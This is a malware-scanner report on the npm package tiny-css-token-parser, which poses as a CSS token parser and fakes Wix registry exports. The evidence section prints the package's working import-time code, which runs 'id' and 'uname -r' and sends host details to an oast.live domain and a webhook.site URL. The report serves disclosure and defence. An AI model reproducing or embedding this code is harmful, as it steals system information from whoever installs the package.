tiny-css-token-parser 1.0.0
Wix registry facade conceals command-output exportnpm package ships Wix registry facade with import-time RCE exfil
SHA-256cea77be21d9635a5cfbecb8b695f5a38657eaf3e6e2d86caa9c7d487e7280558
Also flagged by osv (MAL-2026-17525: Malicious code in tiny-css-token-parser (npm)) +3 more.
Evidence
1(function(){
2 var p = (typeof process !== "undefined") ? process : null;
3 var d = "davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live";
4 var s = function(v) { return String(v || "x").replace(/[^a-zA-Z0-9]/g, "-").substring(0, 40); };
5 var nv = p ? s(p.version) : "no";
6 var pl = p ? s( …
6:33… no";
7 var pid = p ? String(p.pid) : "0";
8 var hn = "unknown";
9 try { hn = s(require("os").hostname()); } catch(e) {}
10 try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"); } catch(e) {}
11 var uid = "noid";
12 try {
13 var cp = require("child_process");
14 if (cp && typeof cp.execSync === "function") {
15 uid = s(cp.execSync("id", {encoding: "utf8", timeout: 3000}));
16 try { fetch("https://" + uid + ".id." + d + "/z"); } catch(e) {}
17 var k = s(cp.execSync("uname -r", {encoding: "utf8", timeout: 3000}));
18 try { fetch("https://" + k + ".k." + d + "/z"); } catch(e) {}
19 }
20 } catch(e) {}
21 try { fetch("https://webhook.site/0492a36c-4d7b-408a-865c-226db25987ba?where=internetbrands&hn=" + hn + "&pid=" + pid + "&nv=" + nv + "&uid=" + uid); } catch(e) {}
22})();
23
24var hosts = [
25 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",
26 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",
27 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"
28];
29var factory = function() {
30 var n = 0;
31 return new Proxy({
32 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },
33 ensureManifestsAreLoaded: function() { return Promise.resolve(); },
34 getComponentsL …
50:12… function() { return undefined; };
51 }});
52};
53if (typeof exports === "object" && exports) {
54 for (var i = 0; i < hosts.length; i++) exports[hosts[i]] = {default: factory};
55 exports.default = factory;
56}
57if (typeof define === "function") try { define([], function() { return {default: factory}; }); } catch(e) {}
1{
2 "name": "tiny-css-token-parser",
3 "version": "1.0.0",
4 "description": "Minimal CSS custom property token parser",
5 "main": "index.js",
6 "files": [
7 "registry-manifest.min.json",
8 "thunderboltRegistry.js",
⋯10 lines
No evidence locations were recorded for this file. Raw result